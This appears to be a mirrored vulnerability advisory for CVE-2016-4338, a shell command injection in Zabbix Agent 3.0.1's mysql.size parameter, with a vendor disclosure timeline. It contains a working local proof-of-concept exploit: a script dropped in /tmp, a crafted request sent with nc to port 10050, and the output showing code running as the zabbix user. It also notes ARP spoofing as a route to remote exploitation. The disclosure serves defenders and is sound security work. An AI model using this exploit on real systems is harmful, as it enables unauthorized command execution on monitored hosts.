Zabbix Agent 3.0.1 mysql. size shell command injection

2016-08-08T00:00:00
ID SSV:92245
Type seebug
Reporter heiben
Modified 2016-08-08T00:00:00

Description

CVE-2016-4338: Zabbix Agent 3.0.1 mysql.size shell command injection

Affected products

At least Zabbix Agent 1:3.0.1-1+wheezy from http://repo.zabbix.com/zabbix/3.0/debian is vulnerable. Other versions were not tested.

Background

"Zabbix agent is deployed on a monitoring target to actively monitor local resources and applications (hard drives, memory, processor statistics etc).

The agent gathers operational information locally and reports data to Zabbix server for further processing. In case of failures (such as a hard disk running full or a crashed service process), Zabbix server can actively alert the administrators of the particular machine that reported the failure.

Zabbix agents are extremely efficient because of use of native system calls for gathering statistical information."

-- https://www.zabbix.com/documentation/3.0/manual/concepts/agent

Description

Zabbix agent listens on port 10050 for connections from the Zabbix server. The commands can be built-in or user-defined.

The mysql.size user parameter defined in/etc/zabbix/zabbix_agentd.d/userparameter_mysql.conf takes three input parameters and uses a shell script to generate an SQL query: UserParameter=mysql.size[*],echo "select sum($(case "$3" in both|"") echo "data_length+index_length";; data|index) echo "$3_length";; free) echo "data_free";; esac)) from information_schema.tables$([[ "$1" = "all" || ! "$1" ]] || echo " where table_schema='$1'")$([[ "$2" = "all" || ! "$2" ]] || echo "and table_name='$2'");" | HOME=/var/lib/zabbix mysql -N The code assumes that /bin/sh is bash that supports the [[ compound command. However, if /bin/sh is for example dash the statement [[ "$1" = "all" || ! "$1" ]] ends up executing the command "$1" with the argument "]]".

Exploit

Zabbix sanitizes the input and blocks many dangerous characters ("'"`*?[]{}~$!&;()<>|#@\n"). Since we cannot use quotes we cannot give our shell commands any parameters which significantly reduces the impact of this vulnerability. If you find a way to execute arbitrary commands using this flaw I'd be really interested in the details. The following proof-of-concept shows how the vulnerability can be used escalate privileges locally: $ echo -en '#!/bin/bash\necho "This code is running as $(id)" 1&gt;&2\n' &gt; /tmp/owned $ chmod a+rx /tmp/owned $ echo 'mysql.size[/tmp/owned,all,both]' | nc localhost 10050 | cat -A ZBXD^AM-^O^@^@^@^@^@^@^@sh: 1: [[: not found$ This code is running as uid=110(zabbix) gid=114(zabbix) groups=114(zabbix)$ sh: 1: [[: not found$ sh: 1: all: not found$ The exploit of course assumes that the Server line in the configuration includes "127.0.0.1". If the agent is configured to accept connections only from the Zabbix server. In that case this issue can only be exploited from the server or by spoofing the IP address of the server (with for example ARP spoofing).

Since output of the command is piped to mysql it might be possible to also execute some SQL commands in the database.

Author

This issue was discovered by Timo Lindfors from Nixu Corporation.

Timeline

2016-04-19: Issue discovered and reported internally for verification. 2016-04-21: Issue reported to vendor. 2016-04-22: Vendor acknowledges vulnerability and starts patching. 2016-04-26: Asked status update from vendor. 2016-04-26: Vendor responds that the issue is still being patched. 2016-04-26: CVE requested from MITRE. 2016-04-28: MITRE assigned CVE-2016-4338 for this vulnerability. 2016-05-02: Vendor published details in the issue tracker https://support.zabbix.com/browse/ZBX-10741